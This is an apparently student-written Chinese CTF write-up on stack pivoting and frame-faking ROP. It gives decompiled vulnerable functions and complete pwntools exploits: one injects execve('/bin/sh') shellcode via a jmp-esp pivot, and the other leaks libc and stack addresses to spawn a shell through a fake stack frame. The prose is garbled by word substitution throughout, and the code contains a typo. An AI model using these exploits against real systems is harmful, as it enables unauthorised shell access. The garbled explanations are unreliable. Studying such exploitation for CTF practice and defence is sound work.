关于安全:pwnfancyROP一

52次阅读

共计 3119 个字符,预计需要花费 8 分钟才能阅读完成。

天天天 … 肯定要学会把栈构造画进去,凭脑子想要节约好多的工夫,而且要弄清楚哪一步的 sp 和 bp 在哪里

stack pivoting

利用 jmp sp 在栈上执行代码,现阶段利用的状况是笼罩的字节比拟少,但又不是很少

signed int vul()
{char s; // [esp+18h] [ebp-20h]

  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What's your name?");
  fflush(stdout);
  fgets(&s, 50, stdin);
  printf("Hello %s.", &s);
  fflush(stdout);
  return 1;
}

显著利用溢出管制就能够了,这里理清一下 sp 的地位关系,首先当 sp 指向返回地址时候,还有 ret 没有执行,执行后 sp 指向向下一个地位,即人为写入的一段命令,这时的 ip 也指向这段命令,而后向下挪动 0x28 处,这时 sp 又指向咱们在栈上写的代码。之后 jmp sp,就会执行这段代码。
exp

#coding = utf-8
from pwn import *
sh = process('./b0verfl0w')
context.log_level = 'debug'    
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
print(shellcode_x86)
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()

这里用手写只有 28 个字节,然而用自带函数 shellcrat 有 44 个。

frame faking

这里的要求还是 NX 敞开
原理如下:
利用返回时要求的原 bp,来结构一个新的栈帧。之后在把函数放在新栈帧上,在利用返回函数跳过去进行执行。

下面是填充的内容

下面是新 bp 指向的栈帧
具体过程如下

1.  在有栈溢出的程序执行 leave 时,其分为两个步骤

*   mov esp, ebp,这会将 esp 也指向以后栈溢出破绽的 ebp 基地址处。*   pop ebp,这会将栈中寄存的 fake ebp 的值赋给 ebp。即执行完指令之后,ebp 便指向了 ebp2,也就是保留了 ebp2 所在的地址。2.  执行 ret 指令,会再次执行 leave ret 指令。3.  执行 leave 指令,其分为两个步骤

*   mov esp, ebp,这会将 esp 指向 ebp2。*   pop ebp,此时,会将 ebp 的内容设置为 ebp2 的值,同时 esp 会指向 target function。4.  执行 ret 指令,这时候程序就会执行 target function,当其进行程序的时候会执行

*   push ebp,会将 ebp2 值压入栈中,*   mov ebp, esp,将 ebp 指向以后基地址。

而后理论状况会变成

这里的 bp 是理论的,所以最先写入的 target function addr 会被笼罩,这里只需把 bp2 换成 target function addr 就能够了

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while (sub_400676() )
    ;
  return 0LL;
}
int sub_400676()
{char buf; // [rsp+0h] [rbp-50h]

  memset(&buf, 0, 0x50uLL);
  putchar(62);
  read(0, &buf, 0x60uLL);
  return puts(&buf);
}

留神到这道能笼罩的地址非常少,只有 16 个字节,所以利用 fack frame
利用 checksec

这个会打乱栈的地址,但绝对偏移是不会变的。所以先管制函数输入一个一个函数在内存中的地址,之后再通过偏移进行函数的利用
上面是 exp
正文外面会有具体的过程

#coding = utf-8
from pwn import *
content.log_level = 'debug'
context.binary = "./over.over"


io = process("./over.over")
elf = ELF("./over.over")
libc = elf.libc

io.sendafter(">", 'a' * 80)
stack = u64(io.recvuntil("\x7f")[-6:].ljust(8, '\0')) - 0x70
#这里减去 0x70 的起因,咱们泄露的 bp 地址其实是原来 main 函数的,通过调试发现这里有 0x20 的差距,所以一共是 0x70
success("stack -> {:#x}".format(stack))
pop_rdi_ret=0x400793
payload = flat(['11111111',pop_rdi_ret, elf.got['puts'], elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, 0x4006be])
#这里的 1 轻易填什么,0x400676 为再次返回本函数,进行从新填写,不便加载的地址不变,6be 为一个 leave 和 retn(轻易找一个都行)
io.sendafter(">", payload)

libc.address = u64(io.recvuntil("\x7f")[-6:].ljust(8, '\0')) - libc.symbols['puts']
#承受到函数地址,曾经记一下这里的应用办法 io.recvuntil("\x7f")[-6:].ljust(8, '\0')
success("libc.address -> {:#x}".format(libc.address))

'''$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only"pop|ret"0x00000000000115189 : pop rdx ; pop rsi ; ret'''
pop_rdx_pop_rsi_ret=libc.address+0x0000000000115189
#因为是动静连贯,每个库依据版本不同有变动,请自行查宅

payload=flat(['22222222', pop_rdi_ret, next(libc.search("/bin/sh")),pop_rdx_pop_rsi_ret,p64(0),p64(0), libc.sym['execve'], (80 - 7*8) * '2', stack - 0x30, 0x4006be])
#留神这里应用的是 execve,有三个参数,依照 wiki 上说
#见上面的图
#0x30 是因为从新进入了以后函数,这时的 sp 指向的是 0x400676,依照汇编语言,sp 会减 0x50,此时离原来的第一次 sp 只有 0x20 的间隔,所以须要再减去 0x30,能力跳到从新写入发代码中
#因为管制了 eb,所以最好进入以后函数缓缓跟踪。不要从头再来,会产生一些不可形容的事件

io.sendafter(">", payload)

io.interactive()

以上,我好笨,看了良久才弄懂,惨惨

正文完
 0